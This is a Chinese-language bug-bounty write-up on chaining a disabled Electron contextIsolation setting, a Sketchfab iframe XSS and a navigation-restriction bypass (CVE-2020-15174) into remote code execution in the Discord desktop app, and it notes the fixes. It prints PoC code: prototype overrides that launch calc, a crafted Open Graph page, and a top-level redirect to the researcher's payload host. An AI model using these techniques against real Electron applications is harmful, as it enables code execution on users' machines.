綜合三個(gè)Bug實(shí)現(xiàn)Discord桌面應(yīng)用RCE漏洞
本文講述了作者在參加Discord眾測(cè)的過程中,通過多個(gè)bug的綜合利用,成功發(fā)現(xiàn)了Discord桌面應(yīng)用的遠(yuǎn)程代碼執(zhí)行漏洞(RCE),收獲了$5,300的獎(jiǎng)勵(lì)。
Discord 是一款適用于游戲玩家一體化語音和文字聊天的即時(shí)通信(IM)軟件。 目前 Discord 已經(jīng)覆蓋 Windows、MacOS、Android、iOS、Windows Phone等多種主流平臺(tái)。
我選擇測(cè)試Discord的原因
由于我對(duì)Electron架構(gòu)的APP漏洞測(cè)試比較有經(jīng)驗(yàn),而剛好Discord應(yīng)用正是基于Electron架構(gòu)開發(fā)的,且我也是一名Discord用戶,所以本著測(cè)試把玩的心態(tài),我就對(duì)Discord進(jìn)行了分析。
發(fā)現(xiàn)的漏洞
我發(fā)現(xiàn)了以下Discord應(yīng)用存在的三個(gè)bug,綜合利用最終形成了RCE漏洞:
- Missing contextIsolation(contextIsolation功能未啟用)
- XSS in iframe embeds(iframe嵌入功能中的XSS)
- Navigation 導(dǎo)航限制功能繞過 (Navigation restriction bypass,CVE-2020-15174)
contextIsolation功能未啟用(Missing contextIsolation)
在測(cè)試Electron架構(gòu)時(shí),通常我會(huì)先檢查BrowserWindow API的選項(xiàng),當(dāng)創(chuàng)建瀏覽器窗口時(shí)BrowserWindow API會(huì)被調(diào)用。測(cè)試時(shí),我就在想,當(dāng)Electron渲染器(renderer)加載時(shí),怎樣的任意JS代碼執(zhí)行才會(huì)引起RCE?
雖然Discord的Electron架構(gòu)并不是開源的,但Electron的JS代碼是保存在應(yīng)用本地,所以我是可以提取查看到的。通過本地JS代碼的查看,我發(fā)現(xiàn)在APP主界面后臺(tái)下,使用了以下方法函數(shù):
- const mainWindowOptions = {
- title: 'Discord',
- backgroundColor: getBackgroundColor(),
- width: DEFAULT_WIDTH,
- height: DEFAULT_HEIGHT,
- minWidth: MIN_WIDTH,
- minHeight: MIN_HEIGHT,
- transparent: false,
- frame: false,
- resizable: true,
- show: isVisible,
- webPreferences: {
- blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
- nodeIntegration: false,
- preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
- nativeWindowOpen: true,
- enableRemoteModule: false,
- spellcheck: true
- }
- };
從上述代碼片段中,可以看出,我們著重需要檢查的是其中的nodeIntegration和contextIsolation配置,這里的nodeIntegration都被配置為了false,且原先未修改版本的和contextIsolation也被配置為了false。
如果nodeIntegration為true,那么web頁面的JS代碼可以通過調(diào)用require()方法使用Node.js功能。比如,在Windows系統(tǒng)中執(zhí)行以下計(jì)算器calc.exe程序的代碼:
- <script>
- require('child_process').exec('calc');
- </script>
而在Discord這里,nodeIntegration為false,所以我也不能調(diào)用require()去使用Node.js功能。然而,仍然存在一種訪問Node.js功能的方法。接下來且聽我慢慢解釋。
Discord中的另一重要功能contextIsolation也配置為了false,該功能用來隔離不信任的內(nèi)容,所以,如果你想消除RCE,那么該功能就不應(yīng)該配置為false。如果contextIsolation為false,那么web頁面中的JS可以影響Electron內(nèi)部渲染時(shí)的JS代碼和預(yù)加載腳本執(zhí)行,(這里Electron內(nèi)部渲染時(shí)的JS代碼指Web頁面之外的JS腳本),例如,假設(shè)用Web頁面JS中的方法函數(shù),把Electron內(nèi)置JS的方法Array.prototype.join覆蓋掉,那么Web頁面之外的JS腳本在加載join方法時(shí),就會(huì)調(diào)用后來被覆蓋的方法函數(shù)。
這種行為是很危險(xiǎn)的,因?yàn)檫@樣一來,可以不用考慮nodeIntegration配置,直接用覆蓋的方式,就可以讓Electron允許Web頁面之外的JS腳本使用Node.js特性,這種方式即使在nodeIntegration配置為false的情況下,都還還可演變?yōu)镽CE漏洞。
我順便提一下,類似的缺陷早在2016年我在Cure53公司時(shí)就已經(jīng)發(fā)現(xiàn)了,當(dāng)時(shí)我上報(bào)給了Electron安全團(tuán)隊(duì),后來在Electron架構(gòu)中就引入了contextIsolation功能。以下為最近才公開的技術(shù)細(xì)節(jié)PDF:
- https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en
contextIsolation功能的引入目的在于隔離Web頁面和Web頁面之外的JS代碼,讓它們?cè)趫?zhí)行時(shí)不會(huì)產(chǎn)生相互影響。該功能非常有必要,因?yàn)槿绻嬖诓槐恍湃蔚膬?nèi)容或操作,就會(huì)產(chǎn)生安全問題。而在Discord這里,該功能卻被配置為false,被禁用了。因此,遵循上述覆蓋JS腳本的方法,我對(duì)Discord的此處缺陷發(fā)起了測(cè)試。
由于Electron內(nèi)置的JS代碼在渲染時(shí)可以在任意的Electron APP中執(zhí)行,所以一般我測(cè)試Electron的RCE時(shí),習(xí)慣首先在渲染時(shí)用Electron內(nèi)置的JS代碼來測(cè)試。在我的文章中,我寫到了可以用Electron在執(zhí)行navigation timing時(shí)的代碼來實(shí)現(xiàn)RCE,該缺陷不僅可以從代碼中發(fā)現(xiàn),還可從其它地方發(fā)現(xiàn)(以后我會(huì)公布詳細(xì)的PoC實(shí)例)。但是,由于目標(biāo)應(yīng)用不同的Electron版本使用或BrowserWindow選項(xiàng)設(shè)置,Discord這里Electron運(yùn)行啟動(dòng)時(shí),我實(shí)際測(cè)試的PoC總是不穩(wěn)定,所以我把測(cè)試重點(diǎn)放在了預(yù)加載腳本上。
測(cè)試預(yù)加載腳本時(shí),我發(fā)現(xiàn)Discord應(yīng)用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函數(shù),該函數(shù)功能在于可以通過其把一些模塊功能調(diào)用到Web頁面中去實(shí)現(xiàn)。然而,經(jīng)測(cè)試發(fā)現(xiàn),我并不能有效地調(diào)用類似child_process的模塊實(shí)現(xiàn)RCE,但卻可以用之前說過的覆蓋方法,覆蓋掉Discord Electron中內(nèi)置的JS方法,干擾曝露模塊的執(zhí)行,以此實(shí)現(xiàn)RCE。
以下為相關(guān)的PoC。當(dāng)覆蓋掉Discord Electron中內(nèi)置的RegExp.prototype.test和Array.prototype.join方法,調(diào)用"discord_utils"模塊中定義的getGPUDriverVersions方法函數(shù)時(shí),可以觸發(fā)執(zhí)行calc.exe程序:
- RegExp.prototype.test=function(){
- return false;
- }
- Array.prototype.join=function(){
- return "calc";
- }
- DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
getGPUDriverVersions方法函數(shù)用來執(zhí)行"execa"庫調(diào)用:
- module.exports.getGPUDriverVersions = async () => {
- if (process.platform !== 'win32') {
- return {};
- }
- const result = {};
- const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
- try {
- result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
- } catch (e) {
- result.nvidia = {error: e.toString()};
- }
- return result;
- };
通常,"execa"庫又是用來執(zhí)行nvidiaSmiPath變量中指定的"nvidia-smi.exe"顯卡程序的,但由于覆蓋掉了RegExp.prototype.test 和 Array.prototype.join方法,"execa"庫中nvidiaSmiPath變量名即被覆蓋為了"calc"。
具體來說,nvidiaSmiPath中的變量覆蓋需要改變以下兩個(gè)JS文件:
- https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
- https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55
到了這步,"nvidia-smi.exe"可以成功被替換為"calc",那么接下來只需找到執(zhí)行JS代碼的方式即可成功實(shí)現(xiàn)RCE了。
iframe嵌入功能中的XSS
在我嘗試挖掘XSS的過程中,我發(fā)現(xiàn)Discord APP支持類似autolink或Markdown的功能,這有點(diǎn)意思。經(jīng)測(cè)試,如果Discord用戶交流信息中有視頻帖子,如You-tube URL,那么這里類似Markdown的iframe嵌入功能即可顯示出視頻播放器(video player)來。
由于Discord涉及到用戶的各種社交交流信息,所以其支持Open Graph Protocol(開放內(nèi)容協(xié)議),如果用戶交流信息中包含OGP信息,那么Discord應(yīng)用即會(huì)顯示出其中出現(xiàn)的網(wǎng)頁標(biāo)題、描述、縮略圖和一些相關(guān)的視頻內(nèi)容。當(dāng)用戶交流信息中的視頻URL鏈接被嵌入到iframe中后,Discord應(yīng)用會(huì)提取出該視頻URL鏈接。后續(xù),我無法查看到Discord應(yīng)用相關(guān)的iframe嵌入功能說明文檔,就只好在其CSP frame-src 指令中尋找線索,發(fā)現(xiàn)其采用了以下CSP策略:
- Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
可以看到,其中列出了允許iframe嵌入的策略(如對(duì)You-Tube, Twitch, Spotify視頻的嵌入)。接下來,我就對(duì)這些域名一個(gè)一個(gè)進(jìn)行測(cè)試,希望在其中能在iframe視頻嵌入時(shí)觸發(fā)XSS。經(jīng)過測(cè)試,我發(fā)現(xiàn)域名sketchfab.com可以在iframe嵌入時(shí)產(chǎn)生XSS,這是一個(gè)簡(jiǎn)單的DOM-based XSS。以下是我根據(jù)OGP協(xié)議制作的一個(gè)PoC,當(dāng)我把該URL鏈接以聊天方式發(fā)送給另一位Discord用戶時(shí),點(diǎn)擊其中的iframe,就會(huì)觸發(fā)任意的JS代碼執(zhí)行:
https://l0.cm/discord_rce_og.html
- <head>
- <meta charset="utf-8">
- <meta property="og:title" content="RCE DEMO">
- [...]
- <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
- <meta property="og:video:type" content="text/html">
- <meta property="og:video:width" content="1280">
- <meta property="og:video:height" content="720">
- </head>
現(xiàn)在,雖然發(fā)現(xiàn)了XSS,但是觸發(fā)的JS代碼卻只能在iframe中執(zhí)行。由于Electron不會(huì)把“Web頁面之外的JS代碼”加載進(jìn)入iframe中,所以即使我覆蓋了其iframe內(nèi)置的JS方法,還是不能調(diào)用Node.js相關(guān)功能。因此,要實(shí)現(xiàn)真正的RCE,還需要跳出iframe限制,在用戶瀏覽內(nèi)容層面去考慮。這就需要在iframe框架中創(chuàng)建一個(gè)新窗口,或是從iframe中導(dǎo)航(navigating)到另一URL中的頂層窗口。
經(jīng)過對(duì)相關(guān)代碼的分析,我發(fā)現(xiàn)Navigation restriction(導(dǎo)航限制)的主要代碼中用到了"new-window" 和 "will-navigate"兩個(gè)事件:
- mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
- e.preventDefault();
- if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
- popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
- } else {
- _electron.shell.openExternal(windowURL);
- }
- });
- [...]
- mainWindow.webContents.on('will-navigate', (evt, url) => {
- if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
- evt.preventDefault();
- }
- });
只要突破這里,就可以在iframe框架中創(chuàng)建一個(gè)新窗口,或是從iframe中導(dǎo)航(navigating)到另一URL中的頂層窗口。然而,這里存在著一個(gè)讓我完全意想不到的缺陷。
Navigation restriction bypass (導(dǎo)航限制功能繞過,CVE-2020-15174)
在我對(duì)導(dǎo)航限制相關(guān)代碼進(jìn)行檢查過程中,我本認(rèn)為iframe對(duì)導(dǎo)航(navigation)應(yīng)該是有限制的,但我驚奇地發(fā)現(xiàn),iframe不知怎的對(duì)導(dǎo)航機(jī)制竟然沒有限制。我本來想著,"will-navigate"事件和preventDefault()會(huì)在導(dǎo)航動(dòng)作繞過發(fā)生之前進(jìn)行相關(guān)的捕捉或攔截,但是這卻沒有。
為了進(jìn)行導(dǎo)航繞過測(cè)試,我創(chuàng)建了一個(gè)簡(jiǎn)單的Electron應(yīng)用,然后發(fā)現(xiàn),頂部導(dǎo)航(top navigation)中的"will-navigate" 事件并不會(huì)從iframe中跳出,具體來說,如果頂部導(dǎo)航的所屬域和iframe的所屬域相同,"will-navigate" 事件會(huì)跳出,否則就不會(huì)跳出。這并不是一種合乎常理的操作行為,而是個(gè)Bug。有了這個(gè)Bug,我就能繞過導(dǎo)航限制了。最后,我要做的就是,導(dǎo)航到可以觸發(fā)XSS的iframe頁面,然后在其中包含進(jìn)RCE Payload代碼。
- top.location="//l0.cm/discord_calc.html"
最終,綜合利用以上三個(gè)Bug,我成功在Discord應(yīng)用中實(shí)現(xiàn)的遠(yuǎn)程代碼執(zhí)行(RCE)。
POC視頻:https://tinyurl.com/y5nx6zjy
漏洞處理
我通過Discord眾測(cè)項(xiàng)目上報(bào)了這三個(gè)漏洞,之后,Discord安全團(tuán)隊(duì)禁用了Sketchfab的嵌入功能,然后在iframe中加入了沙箱功能防止導(dǎo)航限制繞過,同時(shí)啟用了contextIsolation功能。我因此收獲了$5,000的漏洞獎(jiǎng)勵(lì)。
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674
另外,其中的XSS漏洞上報(bào)給Sketchfab后,收獲了Sketchfab獎(jiǎng)勵(lì)的$300;"will-navigate"事件Bug上報(bào)給Electron后,被分配了CVE-2020-15174的漏洞編號(hào)。
參考來源:mksben